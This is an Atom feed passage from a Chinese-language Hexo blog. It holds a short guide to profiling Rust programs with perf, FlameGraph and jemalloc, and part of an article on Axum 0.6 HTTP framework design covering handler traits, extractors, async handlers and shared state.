<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Suikammd&#39;s Blog</title>
  
  
  <link href="https://suikammd.github.io/zh-Hans/atom.xml" rel="self"/>
  
  <link href="https://suikammd.github.io/zh-Hans/"/>
  <updated>2026-11-19T12:58:15.313Z</updated>
  <id>https://suikammd.github.io/zh-Hans/</id>
  
  <author>
    <name>suikammd</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Rust perf cpu 和内存</title>
    <link href="https://suikammd.github.io/zh-Hans/2022/12/06/rust_perf_cpu_and_memory/"/>
    <id>https://suikammd.github.io/zh-Hans/2022/12/06/rust_perf_cpu_and_memory/</id>
    <published>2022-12-06T15:53:53.000Z</published>
    <updated>2026-11-19T12:58:15.313Z</updated>
    
    <content type="html"><![CDATA[<h2 id="perf-cpu"><a href="#perf-cpu" class="headerlink" title="perf cpu"></a>perf cpu</h2><ul><li>Cargo.toml 增加如下参数</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[profile.release]</span><br><span class="line">debug = true</span><br></pre></td></tr></table></figure><p>并且以 release 模式运行代码</p><ul><li>安装 perf + FlameGraph</li></ul><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo pacman -<span class="title class_">Syu</span> perf</span><br><span class="line">git clone <span class="attr">https</span>:<span class="comment">//github.com/brendangregg/FlameGraph.git</span></span><br></pre></td></tr></table></figure><span id="more"></span><ul><li>开抓</li></ul><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">sudo perf record --call-graph dwarf -p 进程id</span><br><span class="line">sudo perf script &gt; out.<span class="property">perf</span></span><br><span class="line"><span class="title class_">FlameGraph</span>/stackcollapse-perf.<span class="property">pl</span> out.<span class="property">perf</span> &gt; out.<span class="property">folded</span></span><br><span class="line"><span class="title class_">FlameGraph</span>/flamegraph.<span class="property">pl</span> out.<span class="property">folded</span> &gt; out.<span class="property">svg</span></span><br></pre></td></tr></table></figure><p>注：一定要是 sudo 来抓，不然抓不到系统调用</p><h2 id="perf-memory"><a href="#perf-memory" class="headerlink" title="perf memory"></a>perf memory</h2><ul><li>Cargo.toml 增加如下参数</li></ul><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[profile.<span class="property">release</span>]</span><br><span class="line">debug = <span class="literal">true</span></span><br></pre></td></tr></table></figure><ul><li>内存分配器替换</li></ul><p>Cargo.toml 增加依赖</p><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[dependencies]</span><br><span class="line">jemallocator = <span class="string">&quot;0.3.2&quot;</span></span><br><span class="line">jemalloc-ctl = <span class="string">&quot;0.3.2&quot;</span></span><br><span class="line"></span><br><span class="line">[dependencies.<span class="property">jemalloc</span>-sys]</span><br><span class="line">version = <span class="string">&quot;0.3.2&quot;</span></span><br><span class="line">features = [<span class="string">&quot;stats&quot;</span>, <span class="string">&quot;profiling&quot;</span>, <span class="string">&quot;unprefixed_malloc_on_supported_platforms&quot;</span>]</span><br></pre></td></tr></table></figure><p>在 <a href="http://main.rs/">main.rs</a> 替换 allocator</p><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#[global_allocator]</span><br><span class="line"><span class="keyword">static</span> <span class="attr">ALLOC</span>: <span class="attr">jemallocator</span>::<span class="title class_">Jemalloc</span> = <span class="attr">jemallocator</span>::<span class="title class_">Jemalloc</span>;</span><br></pre></td></tr></table></figure><ul><li>在运行 rust 程序的窗口设置环境变量</li></ul><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="variable constant_">MALLOC_CONF</span>=<span class="string">&quot;prof:true,lg_prof_interval:26&quot;</span></span><br></pre></td></tr></table></figure><ul><li>分析 heap</li></ul><p>代码运行起来之后，就会看到在运行目录产生了很多 jeprof.x.x.x.heap 文件，以下面为例，我们以程序最开始运行生成的 heap 作为基准，拿到生成的第 279 个文件进行比较，之后就可以打开 a.pdf 查看了</p><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jeprof -pdf ./target/release/mencius-server --base=jeprof<span class="number">.583543</span><span class="number">.0</span>.<span class="property">i0</span>.<span class="property">heap</span> jeprof<span class="number">.583543</span><span class="number">.279</span>.<span class="property">i279</span>.<span class="property">heap</span>&gt; a.<span class="property">pdf</span></span><br></pre></td></tr></table></figure><p>pdf 里可以比较直观的展示出来内存分配释放最多的地方，这里便是你可以进行优化的地方</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这里仅仅是简单介绍下最近 perf cpu 和 memory 用到的工具，如果需要会补充更详细的内容，比如如何看 cpu 火焰图，还有如何看 cpu 使用情况</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;perf-cpu&quot;&gt;&lt;a href=&quot;#perf-cpu&quot; class=&quot;headerlink&quot; title=&quot;perf cpu&quot;&gt;&lt;/a&gt;perf cpu&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Cargo.toml 增加如下参数&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;[profile.release]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;debug = true&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;并且以 release 模式运行代码&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;安装 perf + FlameGraph&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&quot;highlight jsx&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;sudo pacman -&lt;span class=&quot;title class_&quot;&gt;Syu&lt;/span&gt; perf&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;git clone &lt;span class=&quot;attr&quot;&gt;https&lt;/span&gt;:&lt;span class=&quot;comment&quot;&gt;//github.com/brendangregg/FlameGraph.git&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</summary>
    
    
    
    
    <category term="rust" scheme="https://suikammd.github.io/zh-Hans/tags/rust/"/>
    
  </entry>
  
  <entry>
    <title>Rust HTTP 框架设计-以Axum 0.6为例</title>
    <link href="https://suikammd.github.io/zh-Hans/2022/12/09/rust_http_framework_design_axum/"/>
    <id>https://suikammd.github.io/zh-Hans/2022/12/09/rust_http_framework_design_axum/</id>
    <published>2022-12-04T16:00:00.000Z</published>
    <updated>2026-11-19T12:58:15.313Z</updated>
    
    <content type="html"><![CDATA[<p>Author: <a href="https://github.com/suikammd">suikammd</a> <a href="https://github.com/ihciah">ihciah</a><br>一个 HTTP Server 内部包括很多部分：协议实现（h1、h2、压缩等）、连接状态管理（keepalive）、请求分发、中间件、业务逻辑等。用户可以全部自行实现，但其实除了业务逻辑之外的部分都是较为通用的能力。我们将这些通用能力与用户的业务逻辑解耦，即 HTTP 框架。</p><p>由于 Rust 生态中 hyper 已经提供了较为完备的 HTTP 协议实现，基于 hyper 实现 HTTP 框架就只需要提供包括路由、共享状态、中间件等能力。</p><p>本文从 HTTP 框架的设计角度，以新版本 Axum 作为例子，分析 Rust 下 HTTP 框架如何提供合理抽象与类型约束。基于 Rust 强大的类型系统，我们可以写出高效且正确的代码。</p><span id="more"></span><h1 id="Handler-抽象"><a href="#Handler-抽象" class="headerlink" title="Handler 抽象"></a>Handler 抽象</h1><h2 id="简单路由"><a href="#简单路由" class="headerlink" title="简单路由"></a>简单路由</h2><p>通常对于不同请求 Path 的不同 Method，我们的行为是独立的。</p><p>根据 Path 和 Method 做分发属于 HTTP 框架需要提供的通用能力之一：比如我们需要能够将 <code>GET /</code> 和 <code>POST /login</code> 分发到不同的处理函数上。</p><p>最简单的路由可以通过 HashMap 实现。如下所示，Key 是 Path 和 Method，Value 是对应的处理函数，Path 和 Method 我们可以简单的用 String 来表示，处理函数该如何表达呢？</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HashMap&lt;(Path, Method), Handler&gt;</span><br></pre></td></tr></table></figure><p>我们先来解决 Handler 的问题，后面会重新讨论更合理的路由设计。</p><p>由于我们需要将 Handler 存储在 HashMap 中，所以我们需要一个固定类型来表示它（否则 HashMap 的 Value 大小无法确定）。在 Rust 中我们常常利用 <code>Box&lt;dyn Trait&gt;</code> 来将不同的具体类型统一为同一类型（在其他语言中对应指针）。</p><p>这就要求我们需要定义一个 Trait 来描述处理逻辑。</p><h2 id="最简单的方案-约束处理函数实现固定-Fn"><a href="#最简单的方案-约束处理函数实现固定-Fn" class="headerlink" title="最简单的方案: 约束处理函数实现固定 Fn"></a>最简单的方案: 约束处理函数实现固定 Fn</h2><p>由于处理逻辑一定是处理 HTTP Request，并得到 HTTP Response 的，所以一个直观的做法是直接将 hyper decode 出的 HTTP Request 结构作为参数，要求该函数返回 HTTP Response。</p><p>如果 handler 内部需要某个请求参数，那么它需要自行从 HTTP Request 中取并可能需要自行做反序列化等处理（如 Json）。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">add_route</span>(handler: H, ...)</span><br><span class="line">    <span class="keyword">where</span> H: <span class="title function_ invoke__">Fn</span>(req: http::Request) <span class="punctuation">-&gt;</span> http::Response &#123; ... &#125;</span><br></pre></td></tr></table></figure><h2 id="更用户友好的接口"><a href="#更用户友好的接口" class="headerlink" title="更用户友好的接口"></a>更用户友好的接口</h2><p>先前方案的缺点是，用户使用非常麻烦，要自己提取参数。一个更用户友好的实现是框架来处理参数提取，用户只需要在参数中声明自己需要的东西，以及描述业务逻辑。</p><p>我们期望的效果是：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">index</span>() <span class="punctuation">-&gt;</span> &amp;<span class="symbol">&#x27;static</span> <span class="type">str</span> &#123;</span><br><span class="line">    <span class="string">&quot;it works!&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">login</span>(form: Form&lt;...&gt;) <span class="punctuation">-&gt;</span> (StatusCode, <span class="type">String</span>) &#123; ... &#125;</span><br></pre></td></tr></table></figure><p>要将为这些 Handler 实现统一 Trait，我们要解决这几个问题：</p><ol><li>约束每个参数都能从 HTTP Request 中提取到</li><li>约束函数返回值可以转换到 HTTP Response</li><li>支持变长参数（不同 Handler 的参数个数可以不一致）</li><li>支持 Async Fn</li></ol><h3 id="参数约束"><a href="#参数约束" class="headerlink" title="参数约束"></a>参数约束</h3><p>我们期望能够在通过编译检查确保这些参数能够从 Request 中提取到。我们可以定义 Trait：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// framework code</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">FromRequest</span> &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Error</span>;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">from_request</span>(req: &amp;http::Request) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;<span class="keyword">Self</span>, <span class="keyword">Self</span>::Error&gt;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>例如对于需要从 HTTP Query 中提取参数的需求，用户就只需要实现这种代码：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// user code</span></span><br><span class="line"><span class="meta">#[derive(Deserilize)]</span></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Filter</span> &#123;</span><br><span class="line">    keyword: <span class="type">String</span>,</span><br><span class="line">    count: <span class="type">u32</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">search</span>(<span class="title function_ invoke__">Query</span>(f): Query&lt;Filter&gt;) <span class="punctuation">-&gt;</span> (StatusCode, <span class="type">String</span>) &#123; ... &#125;</span><br></pre></td></tr></table></figure><p>框架内实现辅助结构 Query 实现从 Query 参数中提取。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// framework code</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Query</span>&lt;Q&gt;(<span class="keyword">pub</span> Q);</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">FromRequest</span> <span class="keyword">for</span> <span class="title class_">Query</span>&lt;Q&gt;</span><br><span class="line"><span class="keyword">where</span> ... &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Error</span> = ...;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">from_request</span>(req: &amp;http::Request) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;<span class="keyword">Self</span>, <span class="keyword">Self</span>::Error&gt; &#123; ... &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>除了使用框架内建的 Query、Form 等辅助结构，用户也可以自己实现 FromRequest。</p><p>通过这种方式，我们将请求参数提取与业务逻辑解耦，并做了类型约束，确保该结构必须实现如何从 Request 中抽取，该函数才实现 Handler，才能注册到 Router 上。</p><h3 id="返回值约束"><a href="#返回值约束" class="headerlink" title="返回值约束"></a>返回值约束</h3><p>返回值约束和参数约束类似，我们约束返回值能够转换为 Response:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">IntoResponse</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">into_response</span>(<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> http::Response;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>作为框架可以提供一些实现：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span> <span class="title class_">IntoResponse</span> <span class="keyword">for</span> &amp;<span class="symbol">&#x27;static</span> <span class="type">str</span> &#123;...&#125;</span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">IntoResponse</span> <span class="keyword">for</span> <span class="title class_">String</span> &#123;...&#125;</span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">IntoResponse</span> <span class="title function_ invoke__">for</span> (StatusCode, <span class="type">String</span>) &#123;...&#125;</span><br></pre></td></tr></table></figure><p>借助 IntoResponse 我们可以支持用户 handler 返回自定义结构，将 Response 构建与业务逻辑解耦。</p><h3 id="支持变长参数"><a href="#支持变长参数" class="headerlink" title="支持变长参数"></a>支持变长参数</h3><p>有的 handler 不需要什么输入参数（如前面提到的返回 “hello world” 的 index 接口），有的需要一个或多个 Request 中提取到的参数。</p><p>那么这类函数如何统一抽象呢？在 Rust 中我们惯用的操作是定义 Trait，并为满足条件的 Fn 实现这个 Trait。对于参数数量不同的 Fn，我们需要手动为它们每个都实现 Trait。</p><p>由于这个工作枯燥无聊充满重复，所以往往使用宏来实现，最后看起来代码块像是一个“梯形”。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// from axum</span></span><br><span class="line"><span class="built_in">macro_rules!</span> all_the_tuples &#123;</span><br><span class="line">    ($name:ident) =&gt; &#123;</span><br><span class="line">        $name!([], T1);</span><br><span class="line">        $name!([T1], T2);</span><br><span class="line">        $name!([T1, T2], T3);</span><br><span class="line">        $name!([T1, T2, T3], T4);</span><br><span class="line">        $name!([T1, T2, T3, T4], T5);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5], T6);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6], T7);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7], T8);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8], T9);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8, T9], T10);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8, T9, T10], T11);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11], T12);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12], T13);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13], T14);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14], T15);</span><br><span class="line">        $name!([T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14, T15], T16);</span><br><span class="line">    &#125;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们需要一个统一的调用接口，并利用宏实现它：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Handler</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call</span>(&amp;<span class="keyword">self</span>, req: http::Request) <span class="punctuation">-&gt;</span> http::Response;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// illustrate for macro expand</span></span><br><span class="line"><span class="keyword">impl</span>&lt;F, O&gt; Handler <span class="keyword">for</span> <span class="title class_">F</span></span><br><span class="line">    <span class="keyword">where</span> F: <span class="title function_ invoke__">Fn</span>() <span class="punctuation">-&gt;</span> O, O: IntoResponse &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// illustrate for macro expand result</span></span><br><span class="line"><span class="keyword">impl</span>&lt;F, O, T1&gt; Handler <span class="keyword">for</span> <span class="title class_">F</span></span><br><span class="line">    <span class="keyword">where</span> F: <span class="title function_ invoke__">Fn</span>(T1) <span class="punctuation">-&gt;</span> O, O: IntoResponse, T1: FromRequest &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call</span>(&amp;<span class="keyword">self</span>, req: http::Request) <span class="punctuation">-&gt;</span> http::Response &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">param1</span> = <span class="keyword">match</span> T1::<span class="title function_ invoke__">from_request</span>(&amp;req) &#123;</span><br><span class="line">            <span class="title function_ invoke__">Ok</span>(p) =&gt; p,</span><br><span class="line">            <span class="title function_ invoke__">Err</span>(e) =&gt; <span class="keyword">return</span> e.<span class="title function_ invoke__">into</span>(),</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">resp</span> = (<span class="keyword">self</span>)(param1).<span class="title function_ invoke__">into_response</span>();</span><br><span class="line">        resp</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// illustrate for macro expand</span></span><br><span class="line"><span class="keyword">impl</span>&lt;F, O, T1, T2&gt; Handler <span class="keyword">for</span> <span class="title class_">F</span></span><br><span class="line">    <span class="keyword">where</span> F: <span class="title function_ invoke__">Fn</span>(T1, T2) <span class="punctuation">-&gt;</span> O, O: IntoResponse, T1: FromRequest, T1: FromRequest &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// other impl blocks ...</span></span><br></pre></td></tr></table></figure><p>最终我们调用时还是直接传入 <code>http::Request</code> 得到 <code>http::Response</code>。</p><h4 id="Request-所有权问题"><a href="#Request-所有权问题" class="headerlink" title="Request 所有权问题"></a>Request 所有权问题</h4><p>前面的接口中，我们约束请求参数提取器只能拿到一个 Request 的只读引用，原因是我们可能需要提取多个参数。这里可以做一个小优化：如果只有一个参数提取器，那么传入所有权；否则对最后一个传入所有权，前面的传入引用。</p><p>在 Axum 内有两个相关 trait: <code>FromRequestParts</code> 和 <code>FromRequest</code>。FromRequestParts 可以从 HTTP Request Head 中提取内容（传递引用），FromRequest 可以从 HTTP Request Head 和 Body 中提取（传递整个 Request 的所有权）。<code>FromRequest</code> 对于需要消费 Body 的提取器来说非常友好，但只会应用于最后一个提取器。</p><h3 id="支持-Async-Fn"><a href="#支持-Async-Fn" class="headerlink" title="支持 Async Fn"></a>支持 Async Fn</h3><p>通过上一小节的 Handler Trait，我们已经可以较为友好地定义 Handler 了。但是往往我们 handler 处理的过程会涉及数据库读写、下游 RPC 调用等，而这些网络操作是异步的，所以 handler 就不得不实现为 async fn。</p><p>Async Fn 本质上也是一个 Fn，和普通的 Fn 对比起来就是，async 解糖之后会将定义的返回值变为一个实现了 Future 的匿名结构，例如：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// before desuger</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">example</span>() <span class="punctuation">-&gt;</span> <span class="type">String</span> &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// after desuger</span></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">example</span>() <span class="punctuation">-&gt;</span> AnonymousFut &#123; ... &#125;</span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">AnonymousFut</span> &#123; ... &#125;</span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Future</span> <span class="keyword">for</span> <span class="title class_">AnonymousFut</span> &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Output</span> = <span class="type">String</span>;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll</span>(<span class="keyword">self</span>: Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;, cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;) <span class="punctuation">-&gt;</span> Poll&lt;<span class="keyword">Self</span>::Output&gt; &#123; ... &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>（延伸阅读：关于 Rust 异步系统的一些基础知识可以参考<a href="https://www.ihcblog.com/rust-runtime-design-1/">这个分享</a>）</p><p>为了支持 async fn 实现 Handler Trait，我们需要做出一些改动：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Handler</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call</span>(&amp;<span class="keyword">self</span>, req: http::Request) <span class="punctuation">-&gt;</span> BoxFuture&lt;<span class="symbol">&#x27;static</span>, http::Response&gt;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因为涉及到 Future 的具体类型，这里其实我们有两种做法：一种是将 <code>type Future: Future&lt;Output = http::Response&gt;</code> 作为 Trait 的关联类型，另一种是直接用 BoxFuture 将类型擦掉。</p><p>使用哪种主要取决于要不要擦除类型，以及想在哪里做类型擦除。一般来说，出现可能嵌套调用的场景（比如 tower Service 嵌套），最好在最后做类型擦除，这样可以尽可能减少 Box 使用，增大可以内联的代码段以达到更好的性能。</p><p>我们修改了 Trait，同样我们需要修改实现。以下是宏展开后的一个 demo 例子：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// illustrate for macro expand result</span></span><br><span class="line"><span class="keyword">impl</span>&lt;F, O, T1&gt; Handler <span class="keyword">for</span> <span class="title class_">F</span></span><br><span class="line">    <span class="keyword">where</span> F: <span class="title function_ invoke__">Fn</span>(T1) <span class="punctuation">-&gt;</span> Fut, Fut: Future&lt;Output = O&gt;,</span><br><span class="line">          O: IntoResponse, T1: FromRequest &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call</span>(&amp;<span class="keyword">self</span>, req: http::Request) <span class="punctuation">-&gt;</span> BoxFuture&lt;<span class="symbol">&#x27;static</span>, http::Response&gt; &#123;</span><br><span class="line">        <span class="type">Box</span>::<span class="title function_ invoke__">pin</span>(<span class="keyword">async</span> <span class="keyword">move</span> &#123;</span><br><span class="line">            <span class="keyword">let</span> <span class="variable">param1</span> = <span class="keyword">match</span> T1::<span class="title function_ invoke__">from_request</span>(&amp;req) &#123;</span><br><span class="line">                <span class="title function_ invoke__">Ok</span>(p) =&gt; p,</span><br><span class="line">                <span class="title function_ invoke__">Err</span>(e) =&gt; <span class="keyword">return</span> e.<span class="title function_ invoke__">into</span>(),</span><br><span class="line">            &#125;;</span><br><span class="line">            <span class="keyword">let</span> <span class="variable">resp</span> = (<span class="keyword">self</span>)(param1).<span class="title function_ invoke__">into_response</span>();</span><br><span class="line">            resp</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注：这里限制了我们一定要使用异步接口。如果要为返回 T: IntoResponse 的结构也实现 Handler，这样是有实现冲突的（因为都是 blanket impl）。</p><p>总结一下，这个小节里我们定义清楚了 Handler Trait 并自动为用户定义的符合某些条件的 async fn &#x2F; fn 实现了 Handler。用户可以在函数的参数和返回值上使用一些提取器和生成器，让 handler 本身专注于业务逻辑。</p><h1 id="共享状态"><a href="#共享状态" class="headerlink" title="共享状态"></a>共享状态</h1><p>Handler 内部可能会需要一些外部量，比如初始化好的 db、或者用于缓存的 HashMap 等。我们一般会允许用户在创建 Route 的时候能够 attach 上某个 Stste（或者叫 Data），在 handler 函数参数中提取这个结构。</p><h2 id="共享状态提取"><a href="#共享状态提取" class="headerlink" title="共享状态提取"></a>共享状态提取</h2><p>我们完全可以将共享状态视作 Request 的一部分。</p><p>这样我们可以复用先前定义的 FromRequest。但是怎么区分我们想提取的 S（这是一个用户定义的类型）到底从哪里提取到呢？或者说如果用户想提取的 S 就是我们用于请求参数提取的 Query 呢？如果直接将 S 放在参数中，这时语义上就会有歧义。</p><p>为了解决这个歧义，我们可以定一个 State 类型。</p><figure class="highlight rust"><table><tr><td 